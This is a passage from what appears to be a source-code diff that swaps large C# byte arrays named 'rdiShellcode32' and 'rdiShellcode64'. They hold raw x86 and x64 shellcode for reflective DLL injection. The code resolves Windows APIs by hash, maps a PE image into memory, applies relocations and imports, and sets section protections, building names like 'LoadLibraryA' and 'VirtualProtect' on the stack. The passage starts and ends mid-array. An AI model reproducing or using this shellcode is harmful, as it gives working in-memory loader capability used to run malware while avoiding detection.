2,0x03,0xC3,0x50,0x55,0xFF,0xD6,0x89,0x07,0x83,0xC7,0x04,0x8B,0x44,0x24,0x24,0x83,0xC0,0x04,0x89,0x44,0x24,0x24,0x8B,0x08,0x85,0xC9,0x75,0xDA,0x8B,0x74,0x24,0x20,0x8B,0x6C,0x24,0x18,0x83,0x7C,0x24,0x3C,0x00,0x74,0x17,0x33,0xC0,0x40,0x3B,0xE8,0x76,0x10,0x69,0x84,0x24,0x90,0x00,0x00,0x00,0xE8,0x03,0x00,0x00,0x50,0xFF,0x54,0x24,0x44,0x8B,0x46,0x20,0x83,0xC6,0x14,0x89,0x74,0x24,0x20,0x85,0xC0,0x75,0x80,0x8B,0x6C,0x24,0x14,0x83,0xBD,0xE4,0x00,0x00,0x00,0x00,0x74,0x73,0x8B,0xBD,0xE0,0x00,0x00,0x00,0x83,0xC7,0x04,0x03,0xFB,0x89,0x7C,0x24,0x20,0x83,0x3F,0x00,0x74,0x5F,0x8B,0x07,0x03,0xC3,0x50,0xFF,0x54,0x24,0x2C,0x8B,0x77,0x08,0x8B,0xE8,0x8B,0x47,0x0C,0x03,0xF3,0x03,0xC3,0x89,0x44,0x24,0x24,0x83,0x3E,0x00,0x74,0x31,0x8B,0x7C,0x24,0x2C,0x8B,0x00,0x85,0xC0,0x79,0x05,0x0F,0xB7,0xC0,0xEB,0x05,0x83,0xC0,0x02,0x03,0xC3,0x50,0x55,0xFF,0xD7,0x89,0x06,0x83,0xC6,0x04,0x8B,0x44,0x24,0x24,0x83,0xC0,0x04,0x89,0x44,0x24,0x24,0x83,0x3E,0x00,0x75,0xD7,0x8B,0x7C,0x24,0x20,0x83,0xC7,0x20,0x89,0x7C,0x24,0x20,0x83,0x3F,0x00,0x75,0xA5,0x8B,0x6C,0x24,0x14,0x0F,0xB7,0x45,0x14,0x33,0xC9,0x33,0xFF,0x66,0x3B,0x4D,0x06,0x0F,0x83,0xB0,0x00,0x00,0x00,0x8D,0x75,0x3C,0x03,0xF0,0x83,0x7E,0xEC,0x00,0x0F,0x84,0x91,0x00,0x00,0x00,0x8B,0x0E,0x33,0xD2,0x42,0x8B,0xC1,0xC1,0xE8,0x1D,0x23,0xC2,0x8B,0xD1,0xC1,0xEA,0x1E,0x83,0xE2,0x01,0xC1,0xE9,0x1F,0x85,0xC0,0x75,0x18,0x85,0xD2,0x75,0x0D,0x6A,0x08,0x58,0x6A,0x01,0x85,0xC9,0x59,0x0F,0x44,0xC1,0xEB,0x3D,0x6A,0x04,0x58,0x6A,0x02,0xEB,0xF1,0x85,0xD2,0x75,0x1E,0x85,0xC9,0x75,0x05,0x6A,0x10,0x58,0xEB,0x29,0x85,0xD2,0x75,0x11,0x85,0xC9,0x74,0x07,0xB8,0x80,0x00,0x00,0x00,0xEB,0x1A,0x8B,0x44,0x24,0x10,0xEB,0x18,0x85,0xC9,0x75,0x04,0x6A,0x20,0xEB,0xE0,0x8B,0x44,0x24,0x10,0x85,0xC9,0x6A,0x40,0x5A,0x0F,0x45,0xC2,0x89,0x44,0x24,0x10,0xF7,0x06,0x00,0x00,0x00,0x04,0x74,0x09,0x0D,0x00,0x02,0x00,0x00,0x89,0x44,0x24,0x10,0x8D,0x4C,0x24,0x10,0x51,0x50,0x8B,0x46,0xE8,0xFF,0x76,0xEC,0x03,0xC3,0x50,0xFF,0x54,0x24,0x40,0x0F,0xB7,0x45,0x06,0x47,0x83,0xC6,0x28,0x3B,0xF8,0x0F,0x82,0x55,0xFF,0xFF,0xFF,0x6A,0x00,0x6A,0x00,0x6A,0xFF,0xFF,0x54,0x24,0x40,0x83,0xBD,0xC4,0x00,0x00,0x00,0x00,0x74,0x26,0x8B,0x85,0xC0,0x00,0x00,0x00,0x8B,0x74,0x18,0x0C,0x8B,0x06,0x85,0xC0,0x74,0x16,0x33,0xED,0x45,0x6A,0x00,0x55,0x53,0xFF,0xD0,0x8D,0x76,0x04,0x8B,0x06,0x85,0xC0,0x75,0xF1,0x8B,0x6C,0x24,0x14,0x33,0xC0,0x40,0x50,0x50,0x8B,0x45,0x28,0x53,0x03,0xC3,0xFF,0xD0,0x83,0xBC,0x24,0x84,0x00,0x00,0x00,0x00,0x0F,0x84,0xAD,0x00,0x00,0x00,0x83,0x7D,0x7C,0x00,0x0F,0x84,0xA3,0x00,0x00,0x00,0x8B,0x55,0x78,0x03,0xD3,0x8B,0x6A,0x18,0x85,0xED,0x0F,0x84,0x93,0x00,0x00,0x00,0x83,0x7A,0x14,0x00,0x0F,0x84,0x89,0x00,0x00,0x00,0x8B,0x7A,0x20,0x8B,0x4A,0x24,0x03,0xFB,0x83,0x64,0x24,0x34,0x00,0x03,0xCB,0x85,0xED,0x74,0x76,0x8B,0x37,0xC7,0x44,0x24,0x1C,0x00,0x00,0x00,0x00,0x03,0xF3,0x74,0x68,0x8A,0x06,0x84,0xC0,0x74,0x1C,0x8B,0x6C,0x24,0x1C,0x0F,0xBE,0xC0,0x03,0xC5,0xC1,0xC8,0x0D,0x46,0x8B,0xE8,0x8A,0x06,0x84,0xC0,0x75,0xEF,0x89,0x6C,0x24,0x1C,0x8B,0x6A,0x18,0x8B,0x84,0x24,0x84,0x00,0x00,0x00,0x3B,0x44,0x24,0x1C,0x75,0x04,0x85,0xC9,0x75,0x15,0x8B,0x44,0x24,0x34,0x83,0xC7,0x04,0x40,0x83,0xC1,0x02,0x89,0x44,0x24,0x34,0x3B,0xC5,0x72,0xAC,0xEB,0x20,0x0F,0xB7,0x09,0x8B,0x42,0x1C,0xFF,0xB4,0x24,0x8C,0x00,0x00,0x00,0xFF,0xB4,0x24,0x8C,0x00,0x00,0x00,0x8D,0x04,0x88,0x8B,0x04,0x18,0x03,0xC3,0xFF,0xD0,0x59,0x59,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x83,0xC4,0x6C,0xC3,0x83,0xEC,0x10,0x64,0xA1,0x30,0x00,0x00,0x00,0x53,0x55,0x56,0x8B,0x40,0x0C,0x57,0x89,0x4C,0x24,0x18,0x8B,0x70,0x0C,0xE9,0x8A,0x00,0x00,0x00,0x8B,0x46,0x30,0x33,0xC9,0x8B,0x5E,0x2C,0x8B,0x36,0x89,0x44,0x24,0x14,0x8B,0x42,0x3C,0x8B,0x6C,0x10,0x78,0x89,0x6C,0x24,0x10,0x85,0xED,0x74,0x6D,0xC1,0xEB,0x10,0x33,0xFF,0x85,0xDB,0x74,0x1F,0x8B,0x6C,0x24,0x14,0x8A,0x04,0x2F,0xC1,0xC9,0x0D,0x3C,0x61,0x0F,0xBE,0xC0,0x7C,0x03,0x83,0xC1,0xE0,0x03,0xC8,0x47,0x3B,0xFB,0x72,0xE9,0x8B,0x6C,0x24,0x10,0x8B,0x44,0x2A,0x20,0x33,0xDB,0x8B,0x7C,0x2A,0x18,0x03,0xC2,0x89,0x7C,0x24,0x14,0x85,0xFF,0x74,0x31,0x8B,0x28,0x33,0xFF,0x03,0xEA,0x83,0xC0,0x04,0x89,0x44,0x24,0x1C,0x0F,0xBE,0x45,0x00,0xC1,0xCF,0x0D,0x03,0xF8,0x45,0x80,0x7D,0xFF,0x00,0x75,0xF0,0x8D,0x04,0x0F,0x3B,0x44,0x24,0x18,0x74,0x20,0x8B,0x44,0x24,0x1C,0x43,0x3B,0x5C,0x24,0x14,0x72,0xCF,0x8B,0x56,0x18,0x85,0xD2,0x0F,0x85,0x6B,0xFF,0xFF,0xFF,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x83,0xC4,0x10,0xC3,0x8B,0x74,0x24,0x10,0x8B,0x44,0x16,0x24,0x8D,0x04,0x58,0x0F,0xB7,0x0C,0x10,0x8B,0x44,0x16,0x1C,0x8D,0x04,0x88,0x8B,0x04,0x10,0x03,0xC2,0xEB,0xDB }; - var rdiShellcode64 = new byte[] { 0x48,0x8B,0xC4,0x48,0x89,0x58,0x08,0x44,0x89,0x48,0x20,0x4C,0x89,0x40,0x18,0x89,0x50,0x10,0x55,0x56,0x57,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x8D,0x68,0xA9,0x48,0x81,0xEC,0x90,0x00,0x00,0x00,0x48,0x8B,0xF1,0xB9,0x4C,0x77,0x26,0x07,0xE8,0xA3,0x06,0x00,0x00,0xB9,0x49,0xF7,0x02,0x78,0x48,0x89,0x45,0xB7,0x4C,0x8B,0xE0,0xE8,0x92,0x06,0x00,0x00,0xB9,0x58,0xA4,0x53,0xE5,0x48,0x89,0x45,0xBF,0x4C,0x8B,0xE8,0xE8,0x81,0x06,0x00,0x00,0xB9,0x10,0xE1,0x8A,0xC3,0x4C,0x8B,0xF8,0xE8,0x74,0x06,0x00,0x00,0xB9,0xAF,0xB1,0x5C,0x94,0x48,0x89,0x45,0xD7,0x48,0x8B,0xF8,0xE8,0x63,0x06,0x00,0x00,0xB9,0x33,0x00,0x9E,0x95,0x48,0x89,0x45,0xDF,0x48,0x8B,0xD8,0xE8,0x52,0x06,0x00,0x00,0xB9,0x44,0xF0,0x35,0xE0,0x4C,0x8B,0xF0,0xE8,0x45,0x06,0x00,0x00,0x45,0x33,0xD2,0x48,0x89,0x45,0xC7,0x4D,0x85,0xE4,0x0F,0x84,0x16,0x06,0x00,0x00,0x4D,0x85,0xED,0x0F,0x84,0x0D,0x06,0x00,0x00,0x4D,0x85,0xFF,0x0F,0x84,0x04,0x06,0x00,0x00,0x48,0x85,0xFF,0x0F,0x84,0xFB,0x05,0x00,0x00,0x48,0x85,0xDB,0x0F,0x84,0xF2,0x05,0x00,0x00,0x4D,0x85,0xF6,0x0F,0x84,0xE9,0x05,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0xE0,0x05,0x00,0x00,0x48,0x63,0x7E,0x3C,0x48,0x03,0xFE,0x81,0x3F,0x50,0x45,0x00,0x00,0x0F,0x85,0xCD,0x05,0x00,0x00,0xB8,0x64,0x86,0x00,0x00,0x66,0x39,0x47,0x04,0x0F,0x85,0xBE,0x05,0x00,0x00,0x44,0x8B,0x47,0x38,0x45,0x8D,0x5A,0x01,0x45,0x84,0xC3,0x0F,0x85,0xAD,0x05,0x00,0x00,0x0F,0xB7,0x47,0x06,0x41,0x8B,0xDA,0x0F,0xB7,0x4F,0x14,0x85,0xC0,0x74,0x28,0x48,0x83,0xC1,0x24,0x44,0x8B,0xC8,0x48,0x03,0xCF,0x8B,0x51,0x04,0x85,0xD2,0x75,0x07,0x8B,0x11,0x41,0x03,0xD0,0xEB,0x02,0x03,0x11,0x3B,0xD3,0x0F,0x47,0xDA,0x48,0x83,0xC1,0x28,0x4D,0x2B,0xCB,0x75,0xE2,0x48,0x8D,0x4D,0xE7,0x41,0xFF,0xD6,0x8B,0x55,0xEB,0x44,0x8D,0x72,0xFF,0x44,0x03,0x77,0x50,0x8D,0x42,0xFF,0xF7,0xD0,0x48,0x8D,0x4A,0xFF,0x44,0x23,0xF0,0x8B,0xC3,0x48,0x03,0xC8,0x48,0x8D,0x42,0xFF,0x48,0xF7,0xD0,0x48,0x23,0xC8,0x4C,0x3B,0xF1,0x0F,0x85,0x40,0x05,0x00,0x00,0x48,0x8B,0x4F,0x30,0x41,0xB9,0x04,0x00,0x00,0x00,0x41,0xB8,0x00,0x30,0x00,0x00,0x41,0x8B,0xD6,0x41,0xFF,0xD7,0x48,0x8B,0xD8,0x48,0x85,0xC0,0x75,0x15,0x44,0x8D,0x48,0x04,0x41,0xB8,0x00,0x30,0x00,0x00,0x41,0x8B,0xD6,0x33,0xC9,0x41,0xFF,0xD7,0x48,0x8B,0xD8,0x44,0x8B,0x5D,0x7F,0x41,0xBE,0x01,0x00,0x00,0x00,0x45,0x84,0xDE,0x0F,0x84,0xB1,0x00,0x00,0x00,0x8B,0x46,0x3C,0x89,0x43,0x3C,0x8B,0x56,0x3C,0xEB,0x0B,0x8B,0xCA,0x41,0x03,0xD6,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0x45,0x33,0xFF,0x48,0x63,0x7B,0x3C,0x45,0x8B,0xD7,0x48,0x03,0xFB,0x48,0x89,0x7D,0xCF,0x0F,0xB7,0x47,0x14,0x66,0x44,0x3B,0x7F,0x06,0x73,0x3E,0x4C,0x8D,0x47,0x28,0x4C,0x03,0xC0,0x45,0x8B,0xCF,0x45,0x39,0x38,0x76,0x1F,0x41,0x8B,0x50,0x04,0x41,0x8B,0x48,0xFC,0x41,0x8B,0xC1,0x45,0x03,0xCE,0x48,0x03,0xC8,0x48,0x03,0xD0,0x8A,0x04,0x32,0x88,0x04,0x19,0x45,0x3B,0x08,0x72,0xE1,0x0F,0xB7,0x47,0x06,0x45,0x03,0xD6,0x49,0x83,0xC0,0x28,0x44,0x3B,0xD0,0x72,0xC9,0x4C,0x8B,0xD3,0x4C,0x2B,0x57,0x30,0x0F,0x84,0xDE,0x00,0x00,0x00,0x44,0x39,0xBF,0xB4,0x00,0x00,0x00,0x0F,0x84,0xD1,0x00,0x00,0x00,0x44,0x8B,0x87,0xB0,0x00,0x00,0x00,0x4C,0x03,0xC3,0x45,0x39,0x38,0x0F,0x84,0xBE,0x00,0x00,0x00,0x41,0xBC,0x02,0x00,0x00,0x00,0x4D,0x8D,0x48,0x08,0xE9,0x93,0x00,0x00,0x00,0x45,0x33,0xFF,0x41,0x8B,0xD7,0x44,0x39,0x7F,0x54,0x0F,0x86,0x5D,0xFF,0xFF,0xFF,0x8B,0xCA,0x41,0x03,0xD6,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0xE9,0x48,0xFF,0xFF,0xFF,0x41,0x0F,0xB7,0x01,0x0F,0xB7,0xC8,0x66,0xC1,0xE9,0x0C,0x66,0x83,0xF9,0x0A,0x75,0x11,0x41,0x8B,0x08,0x25,0xFF,0x0F,0x00,0x00,0x48,0x03,0xC3,0x4C,0x01,0x14,0x01,0xEB,0x49,0x66,0x83,0xF9,0x03,0x75,0x0E,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x8B,0xC2,0xEB,0x2E,0x66,0x41,0x3B,0xCE,0x75,0x15,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x49,0x8B,0xC2,0x48,0xC1,0xE8,0x10,0x0F,0xB7,0xC0,0xEB,0x13,0x66,0x41,0x3B,0xCC,0x75,0x14,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x0F,0xB7,0xC2,0x41,0x8B,0x10,0x48,0x01,0x04,0x0A,0x4D,0x03,0xCC,0x41,0x8B,0x40,0x04,0x49,0x03,0xC0,0x4C,0x3B,0xC8,0x75,0x86,0x4D,0x8B,0xC1,0x45,0x39,0x39,0x0F,0x85,0x4C,0xFF,0xFF,0xFF,0x4C,0x8B,0x65,0xB7,0x44,0x39,0xBF,0x94,0x00,0x00,0x00,0x0F,0x84,0x45,0x01,0x00,0x00,0x44,0x8B,0x87,0x90,0x00,0x00,0x00,0x45,0x8B,0xEF,0x4C,0x03,0xC3,0x49,0x8D,0x40,0x0C,0xEB,0x07,0x45,0x03,0xEE,0x48,0x8D,0x40,0x14,0x44,0x39,0x38,0x75,0xF4,0x41,0x8B,0xC3,0x83,0xE0,0x04,0x89,0x45,0xB3,0x0F,0x84,0x82,0x00,0x00,0x00,0x45,0x3B,0xEE,0x76,0x7D,0x41,0xC1,0xEB,0x10,0x45,0x8D,0x4D,0xFF,0x44,0x89,0x5D,0x7F,0x45,0x8B,0xDF,0x45,0x85,0xC9,0x74,0x6F,0x4D,0x8B,0xD0,0x41,0x0F,0x10,0x02,0x33,0xD2,0x41,0x8B,0xCD,0x41,0x2B,0xCB,0x69,0xF6,0xFD,0x43,0x03,0x00,0xB8,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x33,0xD2,0x81,0xC6,0xC3,0x9E,0x26,0x00,0x41,0x8D,0x0C,0x06,0x8B,0xC6,0xC1,0xE8,0x10,0x25,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x41,0x03,0xC3,0x45,0x03,0xDE,0x48,0x8D,0x0C,0x80,0x41,0x8B,0x54,0x88,0x10,0x41,0x0F,0x10,0x0C,0x88,0x41,0x0F,0x11,0x04,0x88,0x41,0x8B,0x42,0x10,0x41,0x89,0x44,0x88,0x10,0x41,0x0F,0x11,0x0A,0x41,0x89,0x52,0x10,0x4D,0x8D,0x52,0x14,0x45,0x3B,0xD9,0x72,0x9C,0xEB,0x06,0x8B,0x45,0xB3,0x89,0x45,0x7F,0x8B,0xB7,0x90,0x00,0x00,0x00,0x48,0x03,0xF3,0x8B,0x46,0x0C,0x85,0xC0,0x74,0x7B,0x8B,0x7D,0x7F,0x8B,0xC8,0x48,0x03,0xCB,0x41,0xFF,0xD4,0x44,0x8B,0x3E,0x4C,0x8B,0xE0,0x44,0x8B,0x76,0x10,0x4C,0x03,0xFB,0x4C,0x03,0xF3,0x49,0x8B,0x0F,0x48,0x85,0xC9,0x74,0x2D,0x48,0x8B,0x7D,0xBF,0x79,0x05,0x0F,0xB7,0xD1,0xEB,0x07,0x48,0x8D,0x51,0x02,0x48,0x03,0xD3,0x49,0x8B,0xCC,0xFF,0xD7,0x49,0x83,0xC7,0x08,0x49,0x89,0x06,0x49,0x83,0xC6,0x08,0x49,0x8B,0x0F,0x48,0x85,0xC9,0x75,0xDA,0x8B,0x7D,0x7F,0x45,0x33,0xFF,0x44,0x39,0x7D,0xB3,0x74,0x0F,0x41,0x83,0xFD,0x01,0x76,0x09,0x69,0xCF,0xE8,0x03,0x00,0x00,0xFF,0x55,0xC7,0x8B,0x46,0x20,0x48,0x83,0xC6,0x14,0x4C,0x8B,0x65,0xB7,0x85,0xC0,0x75,0x8C,0x48,0x8B,0x7D,0xCF,0x4C,0x8B,0x6D,0xBF,0x44,0x39,0xBF,0xF4,0x00,0x00,0x00,0x74,0x68,0x44,0x8B,0xB7,0xF0,0x00,0x00,0x00,0x49,0x83,0xC6,0x04,0x4C,0x03,0xF3,0xEB,0x53,0x41,0x8B,0x0E,0x48,0x03,0xCB,0x41,0xFF,0xD4,0x41,0x8B,0x76,0x08,0x4C,0x8B,0xE0,0x45,0x8B,0x7E,0x0C,0x48,0x03,0xF3,0x4C,0x03,0xFB,0xEB,0x25,0x49,0x8B,0x0F,0x48,0x85,0xC9,0x79,0x05,0x0F,0xB7,0xD1,0xEB,0x07,0x48,0x8D,0x51,0x02,0x48,0x03,0xD3,0x49,0x8B,0xCC,0x41,0xFF,0xD5,0x48,0x89,0x06,0x48,0x83,0xC6,0x08,0x49,0x83,0xC7,0x08,0x33,0xC0,0x48,0x39,0x06,0x75,0xD4,0x4C,0x8B,0x65,0xB7,0x49,0x83,0xC6,0x20,0x45,0x33,0xFF,0x45,0x39,0x3E,0x75,0xA8,0x45,0x8B,0xF7,0x0F,0xB7,0x47,0x14,0x41,0xBC,0x01,0x00,0x00,0x00,0x66,0x44,0x3B,0x7F,0x06,0x0F,0x83,0xCF,0x00,0x00,0x00,0x4C,0x8B,0x7D,0xD7,0x48,0x8D,0x77,0x3C,0x48,0x03,0xF0,0x45,0x33,0xC9,0x44,0x39,0x4E,0xEC,0x0F,0x84,0xA0,0x00,0x00,0x00,0x8B,0x0E,0x8B,0xD1,0xC1,0xEA,0x1E,0x8B,0xC1,0x41,0x23,0xD4,0xC1,0xE8,0x1D,0xC1,0xE9,0x1F,0x41,0x23,0xC4,0x75,0x24,0x85,0xD2,0x75,0x0E,0xF7,0xD9,0x45,0x1B,0xC0,0x41,0x83,0xE0,0x07,0x45,0x03,0xC4,0xEB,0x4F,0xF7,0xD9,0xB8,0x02,0x00,0x00,0x00,0x45,0x1B,0xC0,0x44,0x23,0xC0,0x44,0x03,0xC0,0xEB,0x3D,0x85,0xD2,0x75,0x20,0x85,0xC9,0x75,0x06,0x44,0x8D,0x42,0x10,0xEB,0x2F,0x85,0xD2,0x75,0x12,0x85,0xC9,0x74,0x08,0x41,0xB8,0x80,0x00,0x00,0x00,0xEB,0x1F,0x44,0x8B,0x45,0xAF,0xEB,0x1D,0x85,0xC9,0x75,0x06,0x44,0x8D,0x41,0x20,0xEB,0x0F,0x44,0x8B,0x45,0xAF,0x85,0xC9,0xB8,0x40,0x00,0x00,0x00,0x44,0x0F,0x45,0xC0,0x44,0x89,0x45,0xAF,0xF7,0x06,0x00,0x00,0x00,0x04,0x74,0x09,0x41,0x0F,0xBA,0xE8,0x09,0x44,0x89,0x45,0xAF,0x8B,0x4E,0xE8,0x4C,0x8D,0x4D,0xAF,0x8B,0x56,0xEC,0x48,0x03,0xCB,0x41,0xFF,0xD7,0x45,0x33,0xC9,0x0F,0xB7,0x47,0x06,0x45,0x03,0xF4,0x48,0x83,0xC6,0x28,0x44,0x3B,0xF0,0x0F,0x82,0x42,0xFF,0xFF,0xFF,0x45,0x33,0xFF,0x45,0x33,0xC0,0x33,0xD2,0x48,0x83,0xC9,0xFF,0xFF,0x55,0xDF,0x44,0x39,0xBF,0xD4,0x00,0x00,0x00,0x74,0x24,0x8B,0x87,0xD0,0x00,0x00,0x00,0x48,0x8B,0x74,0x18,0x18,0xEB,0x0F,0x45,0x33,0xC0,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x48,0x8D,0x76,0x08,0x48,0x8B,0x06,0x48,0x85,0xC0,0x75,0xE9,0x8B,0x47,0x28,0x4D,0x8B,0xC4,0x48,0x03,0xC3,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x8B,0x75,0x67,0x85,0xF6,0x0F,0x84,0x96,0x00,0x00,0x00,0x44,0x39,0xBF,0x8C,0x00,0x00,0x00,0x0F,0x84,0x89,0x00,0x00,0x00,0x8B,0x8F,0x88,0x00,0x00,0x00,0x48,0x03,0xCB,0x44,0x8B,0x59,0x18,0x45,0x85,0xDB,0x74,0x77,0x44,0x39,0x79,0x14,0x74,0x71,0x44,0x8B,0x49,0x20,0x41,0x8B,0xFF,0x8B,0x51,0x24,0x4C,0x03,0xCB,0x48,0x03,0xD3,0x45,0x85,0xDB,0x74,0x5C,0x45,0x8B,0x01,0x45,0x8B,0xD7,0x4C,0x03,0xC3,0x74,0x51,0xEB,0x10,0x0F,0xBE,0xC0,0x41,0x03,0xC2,0x44,0x8B,0xD0,0x41,0xC1,0xCA,0x0D,0x4D,0x03,0xC4,0x41,0x8A,0x00,0x84,0xC0,0x75,0xE9,0x41,0x3B,0xF2,0x75,0x05,0x48,0x85,0xD2,0x75,0x16,0xB8,0x02,0x00,0x00,0x00,0x41,0x03,0xFC,0x48,0x03,0xD0,0x49,0x83,0xC1,0x04,0x41,0x3B,0xFB,0x73,0x1A,0xEB,0xBC,0x8B,0x49,0x1C,0x0F,0xB7,0x12,0x48,0x03,0xCB,0x8B,0x04,0x91,0x8B,0x55,0x77,0x48,0x03,0xC3,0x48,0x8B,0x4D,0x6F,0xFF,0xD0,0x48,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x48,0x8B,0x9C,0x24,0xD0,0x00,0x00,0x00,0x48,0x81,0xC4,0x90,0x00,0x00,0x00,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x5F,0x5E,0x5D,0xC3,0xCC,0xCC,0x48,0x89,0x5C,0x24,0x08,0x48,0x89,0x74,0x24,0x10,0x57,0x48,0x83,0xEC,0x10,0x65,0x48,0x8B,0x04,0x25,0x60,0x00,0x00,0x00,0x8B,0xF1,0x48,0x8B,0x50,0x18,0x4C,0x8B,0x4A,0x10,0x4D,0x8B,0x41,0x30,0x4D,0x85,0xC0,0x0F,0x84,0xB4,0x00,0x00,0x00,0x41,0x0F,0x10,0x41,0x58,0x49,0x63,0x40,0x3C,0x33,0xD2,0x4D,0x8B,0x09,0xF3,0x0F,0x7F,0x04,0x24,0x42,0x8B,0x9C,0x00,0x88,0x00,0x00,0x00,0x85,0xDB,0x74,0xD4,0x48,0x8B,0x04,0x24,0x48,0xC1,0xE8,0x10,0x44,0x0F,0xB7,0xD0,0x45,0x85,0xD2,0x74,0x21,0x48,0x8B,0x4C,0x24,0x08,0x45,0x8B,0xDA,0x0F,0xBE,0x01,0xC1,0xCA,0x0D,0x80,0x39,0x61,0x7C,0x03,0x83,0xC2,0xE0,0x03,0xD0,0x48,0xFF,0xC1,0x49,0x83,0xEB,0x01,0x75,0xE7,0x4D,0x8D,0x14,0x18,0x33,0xC9,0x41,0x8B,0x7A,0x20,0x49,0x03,0xF8,0x41,0x39,0x4A,0x18,0x76,0x8F,0x8B,0x1F,0x45,0x33,0xDB,0x49,0x03,0xD8,0x48,0x8D,0x7F,0x04,0x0F,0xBE,0x03,0x48,0xFF,0xC3,0x41,0xC1,0xCB,0x0D,0x44,0x03,0xD8,0x80,0x7B,0xFF,0x00,0x75,0xED,0x41,0x8D,0x04,0x13,0x3B,0xC6,0x74,0x0D,0xFF,0xC1,0x41,0x3B,0x4A,0x18,0x72,0xD1,0xE9,0x5B,0xFF,0xFF,0xFF,0x41,0x8B,0x42,0x24,0x03,0xC9,0x49,0x03,0xC0,0x0F,0xB7,0x14,0x01,0x41,0x8B,0x4A,0x1C,0x49,0x03,0xC8,0x8B,0x04,0x91,0x49,0x03,0xC0,0xEB,0x02,0x33,0xC0,0x48,0x8B,0x5C,0x24,0x20,0x48,0x8B,0x74,0x24,0x28,0x48,0x83,0xC4,0x10,0x5F,0xC3 }; + var rdiShellcode32 = new byte[] { 0x81,0xEC,0x14,0x01,0x00,0x00,0x53,0x55,0x56,0x57,0x6A,0x6B,0x58,0x6A,0x65,0x66,0x89,0x84,0x24,0xCC,0x00,0x00,0x00,0x33,0xED,0x58,0x6A,0x72,0x59,0x6A,0x6E,0x5B,0x6A,0x6C,0x5A,0x6A,0x33,0x66,0x89,0x84,0x24,0xCE,0x00,0x00,0x00,0x66,0x89,0x84,0x24,0xD4,0x00,0x00,0x00,0x58,0x6A,0x32,0x66,0x89,0x84,0x24,0xD8,0x00,0x00,0x00,0x58,0x6A,0x2E,0x66,0x89,0x84,0x24,0xDA,0x00,0x00,0x00,0x58,0x6A,0x64,0x66,0x89,0x84,0x24,0xDC,0x00,0x00,0x00,0x58,0x89,0xAC,0x24,0xB0,0x00,0x00,0x00,0x89,0x6C,0x24,0x34,0x89,0xAC,0x24,0xB8,0x00,0x00,0x00,0x89,0xAC,0x24,0xC4,0x00,0x00,0x00,0x89,0xAC,0x24,0xB4,0x00,0x00,0x00,0x89,0xAC,0x24,0xAC,0x00,0x00,0x00,0x89,0xAC,0x24,0xE0,0x00,0x00,0x00,0x66,0x89,0x8C,0x24,0xCC,0x00,0x00,0x00,0x66,0x89,0x9C,0x24,0xCE,0x00,0x00,0x00,0x66,0x89,0x94,0x24,0xD2,0x00,0x00,0x00,0x66,0x89,0x84,0x24,0xDA,0x00,0x00,0x00,0x66,0x89,0x94,0x24,0xDC,0x00,0x00,0x00,0x66,0x89,0x94,0x24,0xDE,0x00,0x00,0x00,0xC6,0x44,0x24,0x3C,0x53,0x88,0x54,0x24,0x3D,0x66,0xC7,0x44,0x24,0x3E,0x65,0x65,0xC6,0x44,0x24,0x40,0x70,0x66,0xC7,0x44,0x24,0x50,0x4C,0x6F,0xC6,0x44,0x24,0x52,0x61,0x88,0x44,0x24,0x53,0x66,0xC7,0x44,0x24,0x54,0x4C,0x69,0xC6,0x44,0x24,0x56,0x62,0x88,0x4C,0x24,0x57,0xC6,0x44,0x24,0x58,0x61,0x88,0x4C,0x24,0x59,0x66,0xC7,0x44,0x24,0x5A,0x79,0x41,0x66,0xC7,0x44,0x24,0x44,0x56,0x69,0x88,0x4C,0x24,0x46,0x66,0xC7,0x44,0x24,0x47,0x74,0x75,0xC6,0x44,0x24,0x49,0x61,0x88,0x54,0x24,0x4A,0xC6,0x44,0x24,0x4B,0x41,0x88,0x54,0x24,0x4C,0x88,0x54,0x24,0x4D,0x66,0xC7,0x44,0x24,0x4E,0x6F,0x63,0x66,0xC7,0x44,0x24,0x5C,0x56,0x69,0x88,0x4C,0x24,0x5E,0x66,0xC7,0x44,0x24,0x5F,0x74,0x75,0xC6,0x44,0x24,0x61,0x61,0x88,0x54,0x24,0x62,0xC6,0x44,0x24,0x63,0x50,0x88,0x4C,0x24,0x64,0xC7,0x44,0x24,0x65,0x6F,0x74,0x65,0x63,0xC6,0x44,0x24,0x69,0x74,0xC6,0x84,0x24,0x94,0x00,0x00,0x00,0x46,0x88,0x94,0x24,0x95,0x00,0x00,0x00,0xC7,0x84,0x24,0x96,0x00,0x00,0x00,0x75,0x73,0x68,0x49,0x88,0x9C,0x24,0x9A,0x00,0x00,0x00,0x66,0xC7,0x84,0x24,0x9B,0x00,0x00,0x00,0x73,0x74,0x88,0x8C,0x24,0x9D,0x00,0x00,0x00,0xC7,0x84,0x24,0x9E,0x00,0x00,0x00,0x75,0x63,0x74,0x69,0xC6,0x84,0x24,0xA2,0x00,0x00,0x00,0x6F,0x6A,0x65,0x59,0x88,0x8C,0x24,0xA8,0x00,0x00,0x00,0x88,0x4C,0x24,0x6D,0x88,0x4C,0x24,0x74,0x88,0x4C,0x24,0x79,0x88,0x8C,0x24,0x92,0x00,0x00,0x00,0xB9,0x13,0x9C,0xBF,0xBD,0x88,0x9C,0x24,0xA3,0x00,0x00,0x00,0xC7,0x84,0x24,0xA4,0x00,0x00,0x00,0x43,0x61,0x63,0x68,0xC6,0x44,0x24,0x6C,0x47,0xC7,0x44,0x24,0x6E,0x74,0x4E,0x61,0x74,0x66,0xC7,0x44,0x24,0x72,0x69,0x76,0xC7,0x44,0x24,0x75,0x53,0x79,0x73,0x74,0x66,0xC7,0x44,0x24,0x7A,0x6D,0x49,0x88,0x5C,0x24,0x7C,0x66,0xC7,0x